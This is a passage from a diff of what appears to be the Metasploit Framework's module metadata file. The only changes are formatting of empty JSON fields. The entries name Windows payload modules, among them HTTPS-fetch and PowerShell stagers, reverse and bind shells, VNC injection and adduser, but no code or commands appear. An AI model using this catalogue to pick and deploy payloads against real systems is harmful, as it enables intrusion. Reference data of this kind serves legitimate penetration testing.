Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221501,9 +196688,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221517,8 +196702,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221531,9 +196715,7 @@ "payload_cmd/windows/https/x64/shell/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221543,9 +196725,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221559,8 +196739,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221573,9 +196752,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221584,9 +196761,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221600,8 +196775,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221614,9 +196788,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221630,9 +196802,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221646,8 +196816,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221660,9 +196829,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221672,9 +196839,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221688,8 +196853,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221702,9 +196866,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221713,9 +196875,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221729,8 +196889,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221743,9 +196902,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221759,9 +196916,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221775,8 +196930,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221789,9 +196943,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221801,9 +196953,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221817,8 +196967,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221831,9 +196980,7 @@ "payload_cmd/windows/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/https/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221842,9 +196989,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221858,8 +197003,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221870,9 +197014,7 @@ "payload_cmd/windows/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/https/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221881,9 +197023,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221897,8 +197037,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221909,9 +197048,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221937,8 +197074,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221951,9 +197087,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221980,8 +197114,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221994,9 +197127,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222023,8 +197154,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222037,9 +197167,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222065,8 +197193,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222079,9 +197206,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222112,8 +197237,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222126,9 +197250,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222155,8 +197277,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222169,9 +197290,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222198,8 +197317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222212,9 +197330,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222243,8 +197359,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222257,9 +197372,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222285,8 +197398,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222299,9 +197411,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222332,8 +197442,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222346,9 +197455,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222375,8 +197482,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222389,9 +197495,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222418,8 +197522,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222432,9 +197535,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222461,8 +197562,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222475,9 +197575,7 @@ "payload_cmd/windows/jjs_reverse_tcp": { "name": "Windows Shell, Reverse TCP (via jjs)", "fullname": "payload/cmd/windows/jjs_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222504,8 +197602,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -222514,9 +197611,7 @@ "payload_cmd/windows/powershell/adduser": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222528,9 +197623,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222544,8 +197637,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222556,9 +197648,7 @@ "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222587,8 +197677,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222601,9 +197690,7 @@ "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222632,8 +197719,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222646,9 +197732,7 @@ "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222660,9 +197744,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222676,8 +197758,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222690,9 +197771,7 @@ "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222705,9 +197784,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222721,8 +197798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222735,9 +197811,7 @@ "payload_cmd/windows/powershell/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222747,9 +197821,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222763,8 +197835,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222777,9 +197848,7 @@ "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222789,9 +197858,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222805,8 +197872,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222819,9 +197885,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222833,9 +197897,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222849,8 +197911,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222863,9 +197924,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222879,9 +197938,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222895,8 +197952,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222909,9 +197965,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222922,9 +197976,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222938,8 +197990,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222952,9 +198003,7 @@ "payload_cmd/windows/powershell/custom/find_tag": { "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/custom/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222964,9 +198013,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222980,8 +198027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222994,9 +198040,7 @@ "payload_cmd/windows/powershell/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223006,9 +198050,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223022,8 +198064,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223036,9 +198077,7 @@ "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223048,9 +198087,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223064,8 +198101,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223078,9 +198114,7 @@ "payload_cmd/windows/powershell/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/cmd/windows/powershell/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223090,9 +198124,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223106,8 +198138,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223120,9 +198151,7 @@ "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223134,9 +198163,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223150,8 +198177,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223164,9 +198190,7 @@ "payload_cmd/windows/powershell/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223176,9 +198200,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223192,8 +198214,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223206,9 +198227,7 @@ "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223218,9 +198237,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223234,8 +198251,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223248,9 +198264,7 @@ "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223260,9 +198274,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223276,8 +198288,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223290,9 +198301,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223304,9 +198313,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223320,8 +198327,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223334,9 +198340,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223348,9 +198352,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223364,8 +198366,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223378,9 +198379,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223393,9 +198392,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223409,8 +198406,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223423,9 +198419,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223439,9 +198433,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via 